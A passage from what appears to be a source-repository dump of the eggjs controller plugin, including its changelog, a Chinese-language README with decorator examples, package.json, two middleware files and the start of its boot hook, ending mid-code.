(2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n\n### Bug Fixes\n\n* ensure ContextInitiator be called after ctx ready ([#138](https://github.com/eggjs/tegg/issues/138)) ([79e16da](https://github.com/eggjs/tegg/commit/79e16dae913b6114ac8d13bde8de60164d57dab3))\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n\n### Bug Fixes\n\n* router type ([#83](https://github.com/eggjs/tegg/issues/83)) ([b32d9b8](https://github.com/eggjs/tegg/commit/b32d9b8e94552d27dc0249c9f38e7223b24beff0))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* add 'globby' as dependencies ([#71](https://github.com/eggjs/tegg/issues/71)) ([76d85d9](https://github.com/eggjs/tegg/commit/76d85d9948527028f926ae0ff5a61111eb1cbd04))\n* fix rootProtoManager.registerRootProto ([f416ed7](https://github.com/eggjs/tegg/commit/f416ed70af1c46d31ebf712b208205d67337d958))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n\n### Features\n\n* delete controller root hook ([bbb68f4](https://github.com/eggjs/tegg/commit/bbb68f43a1a9fcfd86c05581b10c56eeb77d4053))\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* fix rootProtoManager.registerRootProto ([f416ed7](https://github.com/eggjs/tegg/commit/f416ed70af1c46d31ebf712b208205d67337d958))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n\n\n\n\n\n## [1.5.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.5.2...@eggjs/tegg-controller-plugin@1.5.3) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [1.5.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.5.1...@eggjs/tegg-controller-plugin@1.5.2) (2022-09-04)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [1.5.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.5.0...@eggjs/tegg-controller-plugin@1.5.1) (2022-08-17)\n\n\n### Bug Fixes\n\n* fix rootProtoManager.registerRootProto ([f416ed7](https://github.com/eggjs/tegg/commit/f416ed70af1c46d31ebf712b208205d67337d958))\n\n\n\n\n\n# [1.5.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.4.1...@eggjs/tegg-controller-plugin@1.5.0) (2022-08-16)\n\n\n### Features\n\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n\n\n\n\n\n# [1.4.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.3.3...@eggjs/tegg-controller-plugin@1.4.0) (2022-07-28)\n\n\n### Features\n\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.3.2...@eggjs/tegg-controller-plugin@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-controller-plugin@1.3.1...@eggjs/tegg-controller-plugin@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n"
  },
  {
    "path": "tegg/plugin/controller/README.md",
    "content": "# @eggjs/controller-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/controller-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/controller-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/controller-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/controller-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/controller-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/controller-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/controller-plugin\n\n使用注解的方式来开发 egg 中的 Controller\n\n## Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg@beta\n# tegg 插件\nnpm i --save @eggjs/tegg-plugin@beta\n# tegg controller 插件\nnpm i --save @eggjs/controller-plugin@beta\n```\n\n## Prepare\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n```\n\n## Config\n\n```js\n// config/plugin.js\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggController = {\n  package: '@eggjs/controller-plugin',\n  enable: true,\n};\n```\n\n## Usage\n\n### Middleware\n\nMiddleware 支持多个入参，依次传入要生效的中间件\n中间件注解，可以添加在类/方法上。添加在类上时，对类上所有方法生效，添加在方法上时，只对当前方法生效。\n\n```ts\n// app/middleware/global_log.ts\nimport type { Context } from 'egg';\nimport type { Next } from '@eggjs/controller-decorator';\n\nexport default async function globalLog(ctx: Context, next: Next) {\n  ctx.logger.info('have a request');\n  return next();\n}\n\nexport default async function globalLog2(ctx: Context, next: Next) {\n  ctx.logger.info('have a request2');\n  return next();\n}\n\n// app/controller/FooController.ts\nimport { Middleware } from '@eggjs/tegg';\n@Middleware(globalLog, globalLog2)\nexport class FooController {\n  @Middleware(methodCount)\n  async hello() {}\n}\n```\n\n### Context\n\n当需要 egg context 时，可以使用 `@Context` 注解来声明。\n\n```ts\n// app/controller/FooController.ts\nimport { Context, EggContext } from '@eggjs/tegg';\n\nexport class FooController {\n  @Middleware(methodCount)\n  async hello(@Context() ctx: EggContext) {}\n}\n```\n\n### HTTP 注解\n\n#### HTTPController/HTTPMethod\n\n`@HTTPController` 注解用来声明当前类是一个 HTTP controller，可以配置路径前缀。\n`@HTTPMethod` 注解用来声明当前方法是一个 HTTP method，只有带了这个注解，HTTP 方法才会被暴露出去，可以配置方法路径，\n\n```ts\n// app/controller/FooController.ts\nimport { Context, EggContext, HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\nexport class FooController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello',\n  })\n  async hello() {}\n}\n```\n\n#### Param\n\nHTTP 协议中有各种各样的传参方式，比如 query,path,body 等等。\n\n##### HTTPBody\n\n接收 body 参数\n\n```ts\n// app/controller/FooController.ts\nimport { Context, EggContext, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\nexport class FooController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello',\n  })\n  async hello(@HTTPBody() name: string) {\n    return `hello, ${name}`;\n  }\n}\n```\n\n##### HTTPQuery/HTTPQueries\n\n两者的区别在于参数是否为数组， HTTPQuery 只会取第一个参数，HTTPQueries 只提供数组形式。\nHTTPQuery 的参数类型只能是 string, HTTPQueries 的参数类型只能是 string[]。\n\n```ts\n// app/controller/FooController.ts\nimport { Context, EggContext, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPQuery, HTTPQueries } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\nexport class FooController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello',\n  })\n  async hello(\n    // /foo/hello?name=bar\n    // HTTPQuery: name=bar\n    // HTTPQueries: name=[bar]\n    @HTTPQuery() name: string,\n    @HTTPQueries() names: string[]\n  ) {\n    return `hello, ${name}`;\n  }\n}\n```\n\n如果需要使用别名，比如说 query 中的 name 不能在 js 中声明时，如 foo[bar] 这类的。可以通过以下形式\n\n```ts\n@HTTPQuery({ name: 'foo[bar]' }) fooBar: string,\n```\n\n##### HTTPParam\n\n接收 path 中的参数，类型只能为 string\n\n```ts\n// app/controller/FooController.ts\nimport { Context, EggContext, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\nexport class FooController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async hello(@HTTPParam() id: string) {\n    return `hello, ${name}`;\n  }\n}\n```\n\n如果需要使用别名，比如说 path 中使用正则声明 `/foo/(.*)`, 可以通过以下形式\n\n```ts\n// 具体 name 值可以查看 path-to-regexp\n@HTTPParam({ name: '0' }) id: string\n```\n\n### Host\n\nHost 注解，用于指定 HTTP 方法仅在 host 匹配时执行。\n可以添加在类/方法上。添加在类上时，对类上所有方法生效，添加在方法上时，只对当前方法生效。方法上的注解可以覆盖类上的注解\n\n```ts\n// app/controller/FooController.ts\nimport { Host } from '@eggjs/tegg';\n@Host('foo.eggjs.com')\nexport class FooController {\n  // 仅能通过 foo.eggjs.com 访问\n  async hello() {}\n\n  // 仅能通过 bar.eggjs.com 访问\n  @Host('bar.eggjs.com')\n  async bar() {}\n}\n```\n"
  },
  {
    "path": "tegg/plugin/controller/package.json",
    "content": "{\n  \"name\": \"@eggjs/controller-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"controller decorator plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/controller\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/controller\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/middleware/mcp_body_middleware\": \"./src/app/middleware/mcp_body_middleware.ts\",\n    \"./app/middleware/tegg_root_proto\": \"./src/app/middleware/tegg_root_proto.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/AgentControllerObject\": \"./src/lib/AgentControllerObject.ts\",\n    \"./lib/AgentControllerProto\": \"./src/lib/AgentControllerProto.ts\",\n    \"./lib/AppLoadUnitControllerHook\": \"./src/lib/AppLoadUnitControllerHook.ts\",\n    \"./lib/ControllerLoadUnit\": \"./src/lib/ControllerLoadUnit.ts\",\n    \"./lib/ControllerLoadUnitHandler\": \"./src/lib/ControllerLoadUnitHandler.ts\",\n    \"./lib/ControllerLoadUnitInstance\": \"./src/lib/ControllerLoadUnitInstance.ts\",\n    \"./lib/ControllerMetadataManager\": \"./src/lib/ControllerMetadataManager.ts\",\n    \"./lib/ControllerRegister\": \"./src/lib/ControllerRegister.ts\",\n    \"./lib/ControllerRegisterFactory\": \"./src/lib/ControllerRegisterFactory.ts\",\n    \"./lib/EggControllerLoader\": \"./src/lib/EggControllerLoader.ts\",\n    \"./lib/EggControllerPrototypeHook\": \"./src/lib/EggControllerPrototypeHook.ts\",\n    \"./lib/errors\": \"./src/lib/errors.ts\",\n    \"./lib/impl/http/Acl\": \"./src/lib/impl/http/Acl.ts\",\n    \"./lib/impl/http/HTTPControllerRegister\": \"./src/lib/impl/http/HTTPControllerRegister.ts\",\n    \"./lib/impl/http/HTTPMethodRegister\": \"./src/lib/impl/http/HTTPMethodRegister.ts\",\n    \"./lib/impl/http/Req\": \"./src/lib/impl/http/Req.ts\",\n    \"./lib/impl/mcp/MCPConfig\": \"./src/lib/impl/mcp/MCPConfig.ts\",\n    \"./lib/impl/mcp/MCPControllerRegister\": \"./src/lib/impl/mcp/MCPControllerRegister.ts\",\n    \"./lib/impl/mcp/MCPServerHelper\": \"./src/lib/impl/mcp/MCPServerHelper.ts\",\n    \"./lib/MiddlewareGraphHook\": \"./src/lib/MiddlewareGraphHook.ts\",\n    \"./lib/RootProtoManager\": \"./src/lib/RootProtoManager.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/middleware/mcp_body_middleware\": \"./dist/app/middleware/mcp_body_middleware.js\",\n      \"./app/middleware/tegg_root_proto\": \"./dist/app/middleware/tegg_root_proto.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/AgentControllerObject\": \"./dist/lib/AgentControllerObject.js\",\n      \"./lib/AgentControllerProto\": \"./dist/lib/AgentControllerProto.js\",\n      \"./lib/AppLoadUnitControllerHook\": \"./dist/lib/AppLoadUnitControllerHook.js\",\n      \"./lib/ControllerLoadUnit\": \"./dist/lib/ControllerLoadUnit.js\",\n      \"./lib/ControllerLoadUnitHandler\": \"./dist/lib/ControllerLoadUnitHandler.js\",\n      \"./lib/ControllerLoadUnitInstance\": \"./dist/lib/ControllerLoadUnitInstance.js\",\n      \"./lib/ControllerMetadataManager\": \"./dist/lib/ControllerMetadataManager.js\",\n      \"./lib/ControllerRegister\": \"./dist/lib/ControllerRegister.js\",\n      \"./lib/ControllerRegisterFactory\": \"./dist/lib/ControllerRegisterFactory.js\",\n      \"./lib/EggControllerLoader\": \"./dist/lib/EggControllerLoader.js\",\n      \"./lib/EggControllerPrototypeHook\": \"./dist/lib/EggControllerPrototypeHook.js\",\n      \"./lib/errors\": \"./dist/lib/errors.js\",\n      \"./lib/impl/http/Acl\": \"./dist/lib/impl/http/Acl.js\",\n      \"./lib/impl/http/HTTPControllerRegister\": \"./dist/lib/impl/http/HTTPControllerRegister.js\",\n      \"./lib/impl/http/HTTPMethodRegister\": \"./dist/lib/impl/http/HTTPMethodRegister.js\",\n      \"./lib/impl/http/Req\": \"./dist/lib/impl/http/Req.js\",\n      \"./lib/impl/mcp/MCPConfig\": \"./dist/lib/impl/mcp/MCPConfig.js\",\n      \"./lib/impl/mcp/MCPControllerRegister\": \"./dist/lib/impl/mcp/MCPControllerRegister.js\",\n      \"./lib/impl/mcp/MCPServerHelper\": \"./dist/lib/impl/mcp/MCPServerHelper.js\",\n      \"./lib/MiddlewareGraphHook\": \"./dist/lib/MiddlewareGraphHook.js\",\n      \"./lib/RootProtoManager\": \"./dist/lib/RootProtoManager.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/agent-runtime\": \"workspace:*\",\n    \"@eggjs/controller-decorator\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/router\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"await-event\": \"catalog:\",\n    \"content-type\": \"catalog:\",\n    \"egg-errors\": \"catalog:\",\n    \"globby\": \"catalog:\",\n    \"koa-compose\": \"catalog:\",\n    \"path-to-regexp\": \"catalog:path-to-regexp1\",\n    \"raw-body\": \"^2.5.2\",\n    \"sdk-base\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggController\",\n    \"strict\": false,\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/app/middleware/mcp_body_middleware.ts",
    "content": "import type { EggContext, Next } from '@eggjs/tegg';\nimport pathToRegexp from 'path-to-regexp';\n\nexport default (): ((ctx: EggContext, next: Next) => Promise<void>) => {\n  return async function mcpBodyMiddleware(ctx: EggContext, next: Next): Promise<void> {\n    const arr = [\n      ctx.app.config.mcp.sseInitPath,\n      ctx.app.config.mcp.sseMessagePath,\n      ctx.app.config.mcp.streamPath,\n      ctx.app.config.mcp.statelessStreamPath,\n    ];\n    for (const name of Object.keys(ctx.app.config.mcp.multipleServer || {})) {\n      arr.push(ctx.app.config.mcp.multipleServer![name].sseInitPath);\n      arr.push(ctx.app.config.mcp.multipleServer![name].sseMessagePath);\n      arr.push(ctx.app.config.mcp.multipleServer![name].streamPath);\n      arr.push(ctx.app.config.mcp.multipleServer![name].statelessStreamPath);\n    }\n    const res = arr.some((igPath) => {\n      const match = pathToRegexp(igPath, [], {\n        end: false,\n      });\n      return match.test(ctx.path);\n    });\n    if (res) {\n      ctx.disableBodyParser = true;\n      try {\n        for (const hook of ctx.app.config.mcp.hooks) {\n          await hook.middlewareStart?.(ctx);\n        }\n        await next();\n        if (!ctx.mcpArg) {\n          ctx.mcpArg = JSON.parse(decodeURIComponent((ctx.response.header['mcp-proxy-arg'] as string) ?? '{}'));\n        }\n        for (const hook of ctx.app.config.mcp.hooks) {\n          await hook.middlewareEnd?.(ctx);\n        }\n      } catch (e: any) {\n        for (const hook of ctx.app.config.mcp.hooks) {\n          await hook.middlewareError?.(ctx, e);\n        }\n      }\n    } else {\n      await next();\n    }\n  };\n};\n"
  },
  {
    "path": "tegg/plugin/controller/src/app/middleware/tegg_root_proto.ts",
    "content": "import { ROOT_PROTO } from '@eggjs/module-common';\nimport type { MiddlewareFunc } from 'egg';\n\nexport default (): MiddlewareFunc => {\n  return async function teggRootProto(ctx, next) {\n    ctx[ROOT_PROTO] = ctx.app.rootProtoManager.getRootProto(ctx);\n    return next();\n  };\n};\n"
  },
  {
    "path": "tegg/plugin/controller/src/app.ts",
    "content": "import assert from 'node:assert';\n\nimport { ControllerMetaBuilderFactory, ControllerType } from '@eggjs/controller-decorator';\nimport { GlobalGraph, type LoadUnitLifecycleContext } from '@eggjs/metadata';\nimport { type LoadUnitInstanceLifecycleContext, ModuleLoadUnitInstance } from '@eggjs/tegg-runtime';\nimport { AGENT_CONTROLLER_PROTO_IMPL_TYPE } from '@eggjs/tegg-types';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nimport { AgentControllerObject } from './lib/AgentControllerObject.ts';\nimport { AgentControllerProto } from './lib/AgentControllerProto.ts';\nimport { AppLoadUnitControllerHook } from './lib/AppLoadUnitControllerHook.ts';\nimport { CONTROLLER_LOAD_UNIT, ControllerLoadUnit } from './lib/ControllerLoadUnit.ts';\nimport { ControllerLoadUnitHandler } from './lib/ControllerLoadUnitHandler.ts';\nimport { ControllerMetadataManager } from './lib/ControllerMetadataManager.ts';\nimport { ControllerRegisterFactory } from './lib/ControllerRegisterFactory.ts';\nimport { EggControllerLoader } from './lib/EggControllerLoader.ts';\nimport { EggControllerPrototypeHook } from './lib/EggControllerPrototypeHook.ts';\nimport { HTTPControllerRegister } from './lib/impl/http/HTTPControllerRegister.ts';\nimport { MCPControllerRegister } from './lib/impl/mcp/MCPControllerRegister.ts';\nimport { middlewareGraphHook } from './lib/MiddlewareGraphHook.ts';\nimport { RootProtoManager } from './lib/RootProtoManager.ts';\n\n// Load Controller process\n// 1. await add load unit is ready, controller may depend other load unit\n// 2. load ${app_base_dir}app/controller file\n// 3. ControllerRegister register controller implement\n\nexport default class ControllerAppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private readonly loadUnitHook: AppLoadUnitControllerHook;\n  private readonly controllerRegisterFactory: ControllerRegisterFactory;\n  private controllerLoadUnitHandler: ControllerLoadUnitHandler;\n  private readonly controllerPrototypeHook: EggControllerPrototypeHook;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.controllerRegisterFactory = new ControllerRegisterFactory(this.app);\n    this.app.rootProtoManager = new RootProtoManager();\n    this.app.controllerRegisterFactory = this.controllerRegisterFactory;\n    this.app.controllerMetaBuilderFactory = ControllerMetaBuilderFactory;\n    this.loadUnitHook = new AppLoadUnitControllerHook(this.controllerRegisterFactory, this.app.rootProtoManager);\n    this.controllerPrototypeHook = new EggControllerPrototypeHook();\n    this.app.eggPrototypeCreatorFactory.registerPrototypeCreator(\n      